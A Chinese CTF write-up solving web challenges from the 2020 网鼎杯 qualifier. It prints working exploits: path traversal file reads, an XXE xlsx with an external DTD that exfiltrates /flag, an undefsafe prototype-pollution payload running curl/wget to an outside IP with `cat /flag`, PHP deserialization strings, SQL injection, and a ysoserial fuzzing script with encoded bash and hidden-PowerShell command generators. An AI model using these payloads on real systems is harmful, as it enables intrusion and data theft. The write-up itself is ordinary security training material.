网鼎杯2020预选赛Writeup

记录一下部分web题目的wp, 总体来说, 题目都很无聊

最后的java题比较有意思了

filejava

开局一个文件上传

上传后会给出一个下载的链接

看一下链接

http://b6a1f593-bfbf-4c60-97d2-9ce6fba45868.node3.buuoj.cn/DownloadServlet?filename=63e4b2bf-edd9-4626-a272-0aca170e0110_down.py

猜测有任意文件读

主要这里要有正确的../, 如果多或者少都不会显示

然后我们读下WEB-INF/web.xml

报错得到路径, 对应文件如下

../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

实际比赛中的路径没有ROOT这一层

为了便于复现, 后面的脚本也会改为buu的路径

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>

根据web.xml把对应的文件读下来

import requests

sess = requests.Session()
url = "http://8eb4dde4042f4130b82bb01af955822cc792f11b352a4438.cloudgame2.ichunqiu.com:8080/"

def remote(filename):
data = {"filename": "../../../../../../../../.." + filename}
resp = sess.get(f"{url}file_in_java/DownloadServlet", params=data).content
print(resp)
download(filename, resp)
return text

# download file
def download(filename, text):
filename = filename[filename.rfind("/") + 1:]
print("[+] write %s" %(filename))
f = open(filename, "wb")
f.write(text)
f.close()

if __name__ == "__main__":
# local("/readflag")
remote("/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class")

读下来之后jd-gui反编译, 审计一下, 发现有个xml库

image-20200519173433766

上网搜索发现有一个xxe的洞, https://xz.aliyun.com/t/6996

关键代码如下

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {         
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}

只需要上传一个excel-xxxx.xlsx的文件, 题目就会对文件进行xml解析, 那么我们右键新建一个xlsx

改后缀名为.zip, 解压后并在[Content_Types].xml文件中添加xxe的代码

<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///flag">
<!ENTITY % dtd SYSTEM
"http://ip:2333/evil.dtd">
%dtd;
]>

分为两部分, 第一部分是创建了一个读取/flag的实体, 第二部分是请求远程的evil.dtd

evil.dtd如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:2333/?collect=%file;'>">
%all;

然后我们在当前目录(即有evil.dtd的目录), 开一个web服务

python3 -m http.server 2333

接着本地将改好的文件夹打包成zip, 重新改为excel-exp.xlsx

上传即可看到flag回显

截图为比赛的截图

trace

这道题过滤很少, 其实很好做, 但是题目给了一个限制, insert的条目不能超过20

当时时间比较紧, 没有想到出题人的本意是让我们在插入的时候报错, 疯狂重启靶机, 每20个请求就重启一次, 做到绝望, 后面懒得去复现了, 这里贴一个其他师傅的wp吧

byc_404

notes

源码如下

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

给了一个命令执行的点

let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}

如果能注入commands, 就能直接rce了, 看了一下有个奇怪的库

const undefsafe = require('undefsafe');

搜一下就知道这个库有一个原型链污染的问题, payload如下

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

那么只需要找一个长得像的地方, 在edit那里

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

直接打就是了

import requests
import re
import json
url = "http://7f94048d-5c59-4969-a0ed-b812be91d1ac.node3.buuoj.cn/"
sess = requests.Session()
def exp():
sess.get(url)
data = {
"author": "curl 174.1.89.34:2333 -d data=`cat /flag`",
"id": "__proto__",
"raw": "wget http://174.1.89.34:2333/`cat /flag`"
}
resp = sess.post(f"{url}edit_note", json=data).text
sess.get(f"{url}status")

if __name__ == "__main__":
exp()

然后就能收到flag了

AreUserialize

这个题目本身没有意思, 但是引申出来的东西很有意思

看一下源码

<?php

include("flag.php");


class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
return false;
}
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
else{
highlight_file(__FILE__);
}

}

首先里面有一个is_valid函数的检测, 而反序列化类中的成员类型是protected, 序列化后会有\00导致过不了check, 这里有两种思路

  1. public覆盖

    https://bugs.php.net/bug.php?id=49649&tdsourcetag=s_pctim_aiomsg

  2. S绕过

    这里放上p神的分享

    具体的payload如下

    O:11:"FileHandler":3:{S:5:"\00\2A\00op";i:2;S:11:"\00\2A\00filename";s:23:"/etc/apache2/httpd.conf";S:10:"\00\2A\00content";N;}

然后还有一个问题是, 怎么去读文件的目录

这里有几种思路

  1. 读http配置文件

    比如说apache配置文件, nginx配置文件

  2. 读docker配置文件

    比如/start.sh, /etc/BUILD, /proc/self/maps

  3. 读命令行操作

    比如/proc/cmdline, /root/.bash_history等等

这种的话一般用库解决

https://github.com/TheKingOfDuck/fuzzDicts/tree/master/ssrfDicts

https://github.com/ev0A/ArbitraryFileReadList

另外一种思路是php在_destruct的时候, pwd会发生改变, 参考手册的内容

在序列化内容出现问题的时候不会改变当前工作目录, 随便改一个成员数或者是删掉最后的}等等都会触发

这种情况就直接读flag.php就可以了

比赛的当前目录在/web/html/

think java

这个算是这些题里面比较好的一个了, 留下了不会java的泪水

题目给了几个文件, 里面的关键信息有

Test.class中引入了swagger

当然这个我们也可以通过dir-search找到

sqlDict.class中出现了sql语句拼接

我们先上去/swagger-ui.html看一下api

那么我们先尝试一下sql注入

dbName=myapp?a=' union select 1%23

成功回显, 由于已经有表名了, 直接查字段

dbName=myapp?a=' union select group_concat(column_name) from information_schema.columns where table_name='user'%23

其实好像不查也能看到…

然后直接查内容

dbName=myapp?a=' union select group_concat(pwd) from user%23

得到用户名和密码

admin
admin@Rrrr_ctf_asde

登陆后得到一个data

可以猜测是一段java的序列化内容, 传上去试试

成功变成admin, 我们可以猜测后端是用了readObject来反序列化

后面参考的是gml师傅的 2020网鼎杯-朱雀组wp

使用的gadgets是 https://github.com/frohoff/ysoserial

一开始我做的时候把全部gadgets都fuzz了一遍, 发现没有执行, 后面看了wp后, 先用URLDNS进行探测

https://www.anquanke.com/post/id/201762#h2-5

在渗透测试中,如果对着服务器打一发JAVA反序列化payload,而没有任何回应,往往就不知道问题出在了哪里的蒙蔽状态。

  • 1.打成功了,只是对方机器不能出网?
  • 2.还是对面JAVA环境与payload版本不一样,改改就可以?
  • 3.还是对方没有用这个payload利用链的所需库?利用链所需库的版本不对?换换就可以?
  • 4.还是…以上做的都是瞎操作,这里压根没有反序列化readobject点QAQ

而URLDNS模块正是解决了以上疑惑的最后一个,确认了readobject反序列化利用点的存在。不至于payload改来改去却发现最后是因为压根没有利用点所以没用。同时因为这个利用链不依赖任何第三方库,没有什么限制。

如果目标服务器存在反序列化动作(readobject),处理了我们的输入,同时按照我们给定的URL地址完成了DNS查询,我们就可以确认是存在反序列化利用点的。

首先开一个requestsbin

获取到一个可以查dns的地址

然后我们执行

java -jar ysoserial.jar URLDNS "http://test.a2a51fa5805b4f5b09e2.d.dns.requestbin.buuoj.cn" | base64

然后把内容base64之后发过去, 发现有解析

import requests
import re
import json
import subprocess
import sys
from base64 import b64encode, b64decode

url = "http://bd142ed8-01c9-4e4e-af06-9ab80a83e7ea.node3.buuoj.cn/common/user/current"
sess = requests.Session()

def exp(gadget, cmd):
payload = "Bearer "
command = f"java -jar ./ysoserial.jar {gadget} '{cmd}' > res 2>/dev/null"
print(f"[*] try {gadget}")
print(f"[*] cmd: {command}")
subprocess.check_output(command, shell=True)
payload += b64encode(open("./res", "rb").read()).decode("utf-8")
# print(payload)
headers = {
"Authorization": payload
}
resp = sess.post(url, headers=headers, timeout=2, proxies={"http":"127.0.0.1:8080"}).text
print(f"[+] msg: {json.loads(resp)['msg']}")


if __name__ == "__main__":
exp("URLDNS", "http://test.9aaa13960db8c7458ae2.d.dns.requestbin.buuoj.cn")

可以看到dns也有查询

然后我们fuzz一下payload

这里再次被java的exec特性坑了一把…这里给一个可以进行编码转换的网站

http://www.jackson-t.ca/runtime-exec-payloads.html

参考了他的js写了一个脚本

def java_exec(cmd: str, option: str="bash") -> str:
"""Generate exec payload of java version

Args:
cmd (str): command to run
option (str, optional): the type of command. Defaults to "bash".

Returns:
str: exec payload
"""
from base64 import b64encode, b64decode
java_cmd = ""
if option == "bash":
java_cmd = "bash -c {echo," + b64encode(cmd.encode()).decode() + "}|{base64,-d}|{bash,-i}"
elif option == "powershell":
cmd_pad = ""
for i in cmd:
cmd_pad += (i + "\00")
java_cmd = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc " + b64encode(cmd_pad.encode()).decode()
elif option == "python":
java_cmd = "python -c exec('" + b64encode(cmd.encode()).decode() + "'.decode('base64'))"
elif option == "perl":
java_cmd = "perl -MMIME::Base64 -e eval(decode_base64('" + b64encode(cmd.encode()).decode() + "'))"
else:
pass
return java_cmd

if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="gen java exec payload")
parser.add_argument("cmd", help="command to run")
parser.add_argument("-op", "--option", default="bash", help="type of command, eg.bash, powershell, python, perl")
args = parser.parse_args()
print(java_exec(args.cmd, args.option))

然后获取一下gadgets

def get_gadgets():
gadgets = ['BeanShell1', 'C3P0', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'FileUpload1', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JRMPListener', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'Jython1', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'URLDNS', 'Vaadin1', 'Wicket1']
return gadgets

全部打一遍

完整脚本如下

import requests
import re
import json
import subprocess
import sys
from base64 import b64encode, b64decode

url = "http://bd142ed8-01c9-4e4e-af06-9ab80a83e7ea.node3.buuoj.cn/common/user/current"
sess = requests.Session()

def get_gadgets():
gadgets = ['BeanShell1', 'C3P0', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'FileUpload1', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JRMPListener', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'Jython1', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'URLDNS', 'Vaadin1', 'Wicket1']
return gadgets

def exp(gadget, cmd):
payload = "Bearer "
command = f"java -jar ./ysoserial.jar {gadget} '{cmd}' > res 2>/dev/null"
print(f"[*] try {gadget}")
print(f"[*] cmd: {command}")
subprocess.check_output(command, shell=True)
payload += b64encode(open("./res", "rb").read()).decode("utf-8")
# print(payload)
headers = {
"Authorization": payload
}
resp = sess.post(url, headers=headers, timeout=2, proxies={"http":"127.0.0.1:8080"}).text
print(f"[+] msg: {json.loads(resp)['msg']}")

def java_exec(cmd: str, option: str="bash") -> str:
"""Generate exec payload of java version

Args:
cmd (str): command to run
option (str, optional): the type of command. Defaults to "bash".

Returns:
str: exec payload
"""
from base64 import b64encode, b64decode
java_cmd = ""
if option == "bash":
java_cmd = "bash -c {echo," + b64encode(cmd.encode()).decode() + "}|{base64,-d}|{bash,-i}"
elif option == "powershell":
cmd_pad = ""
for i in cmd:
cmd_pad += (i + "\00")
java_cmd = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc " + b64encode(cmd_pad.encode()).decode()
elif option == "python":
java_cmd = "python -c exec('" + b64encode(cmd.encode()).decode() + "'.decode('base64'))"
elif option == "perl":
java_cmd = "perl -MMIME::Base64 -e eval(decode_base64('" + b64encode(cmd.encode()).decode() + "'))"
else:
pass
return java_cmd


if __name__ == "__main__":
DEB = 0
if DEB:
for i in get_gadgets():
try:
exp(i, java_exec("curl http://http.requestbin.buuoj.cn/1f5nihc1 -d `cat /flag`"))
except:
pass
else:
exp("ROME", java_exec("curl http://http.requestbin.buuoj.cn/1f5nihc1 -d `cat /flag`"))
# exp("URLDNS", "http://test.9aaa13960db8c7458ae2.d.dns.requestbin.buuoj.cn")
# get_gadgets()

可以用httpbin接受flag

也可以开个linuxlabs

参考链接

  1. 2020网鼎杯-朱雀组wp#think-java


作者: cjm00n
地址: https://cjm00n.top/CTF/wdcup-2020-quals-wp.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

RCTF2020 Writeup CTF比赛的交流模式探索

评论